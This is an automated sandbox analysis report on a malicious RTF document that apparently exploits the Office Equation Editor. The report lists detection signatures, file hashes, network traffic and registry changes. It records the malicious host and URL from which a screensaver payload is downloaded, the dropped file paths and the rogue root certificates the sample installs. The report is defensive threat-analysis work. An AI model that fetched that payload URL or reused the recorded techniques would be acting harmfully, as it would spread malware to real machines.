Windows Analysis Report
xJvN1QBl91.rtf

Overview

General Information

Sample name: xJvN1QBl91.rtf
renamed because original name is a hash value
Original sample name: de3ba4db4f0cf4d3b92ad9429de7545e.rtf
Analysis ID: 1467965
MD5: de3ba4db4f0cf4d3b92ad9429de7545e
SHA1: 5b6eb61b2905c89698e5468a9a3dc468680b2d8e
SHA256: fbd4bb68ae72c7715dcf61c915bdbc48d4d60eb9cd6bae30d74aad3e796663c7
Tags: rtf
Infos:

Detection

HTMLPhisher
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Yara detected BlockedWebSite
Document exploit detected (process start blacklist hit)
Installs new ROOT certificates
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Equation Editor Network Connection
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Detected potential crypto function
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Sigma detected: SCR File Write Event
Sigma detected: Suspicious Screensaver Binary File Creation
Stores large binary data to the registry
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: https://riell.top/white.scr Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: riell.top Virustotal: Detection: 12% Perma Link
Source: https://riell.top/white.scr Virustotal: Detection: 7% Perma Link
Multi AV Scanner detection for submitted file
Source: xJvN1QBl91.rtf ReversingLabs: Detection: 48%
Source: xJvN1QBl91.rtf Virustotal: Detection: 47% Perma Link

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 188.114.96.3 Port: 443 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: unknown Jump to behavior
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Phishing
barindex
Yara detected BlockedWebSite
Source: Yara match File source: C:\Users\user\AppData\Roaming\white72911.scr, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\white[1].htm, type: DROPPED
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.2

Software Vulnerabilities
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Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: riell.top
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /white.scr HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: riell.topConnection: Keep-Alive
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{946CCB1C-A640-4FD8-834D-6A235994F9AB}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /white.scr HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: riell.topConnection: Keep-Alive
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: riell.top
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000920000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346288953.0000000000961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000920000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346288953.0000000000961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000920000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346288953.0000000000961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.use
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000920000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346288953.0000000000961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000920000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346288953.0000000000961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000920000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346288953.0000000000961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://riell.top/:
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000920000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://riell.top/a
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.346288953.00000000008DF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://riell.top/white.scr
Source: EQNEDT32.EXE, 00000002.00000002.346288953.00000000008DF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://riell.top/white.scrj
Source: EQNEDT32.EXE, 00000002.00000002.346288953.00000000008DF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://riell.top/white.scrjjC:
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000920000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346288953.0000000000961000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.346288953.0000000000920000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346288953.00000000008DF000.00000004.00000020.00020000.00000000.sdmp, white[1].htm.2.dr, white72911.scr.2.dr String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: EQNEDT32.EXE, 00000002.00000002.346288953.0000000000920000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.346288953.00000000008DF000.00000004.00000020.00020000.00000000.sdmp, white[1].htm.2.dr, white72911.scr.2.dr String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: unknown Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.2

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: xJvN1QBl91.rtf, type: SAMPLE Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Detected potential crypto function
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008E424C 2_2_008E424C
Yara signature match
Source: xJvN1QBl91.rtf, type: SAMPLE Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: classification engine Classification label: mal100.phis.expl.winRTF@4/11@1/1
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$vN1QBl91.rtf Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVR6853.tmp Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: xJvN1QBl91.rtf ReversingLabs: Detection: 48%
Source: xJvN1QBl91.rtf Virustotal: Detection: 47%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: credssp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: ncrypt.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: bcrypt.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: gpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: xJvN1QBl91.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\xJvN1QBl91.rtf
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F6A8E push esp; ret 2_2_008F6A8F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F6888 push dword ptr [esp+ebx*8+53h]; ret 2_2_008F68A3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F6A84 push esp; ret 2_2_008F6A87
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F6A96 push esp; ret 2_2_008F6A97
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F68A8 push ebx; ret 2_2_008F68AB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F68B0 push ebx; ret 2_2_008F68B3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F64DF push esi; ret 2_2_008F64E3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F64D8 push esi; ret 2_2_008F64DB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F64E7 push esi; ret 2_2_008F64EB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F6A4C push esp; ret 2_2_008F6A4F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F6A46 push esp; ret 2_2_008F6A47
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F6C6F push esi; ret 2_2_008F6C73
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F686A push ebx; ret 2_2_008F686B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F6C68 push esi; ret 2_2_008F6C6B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F8C7B push ebp; ret 2_2_008F8C7F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008F6C77 push esi; ret 2_2_008F6C7B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008E01F4 push eax; retf 2_2_008E01F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008EC3F0 push A0008EC4h; ret 2_2_008EC3F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_008E8F60 push eax; retf 2_2_008E8F61

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Stores large binary data to the registry
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
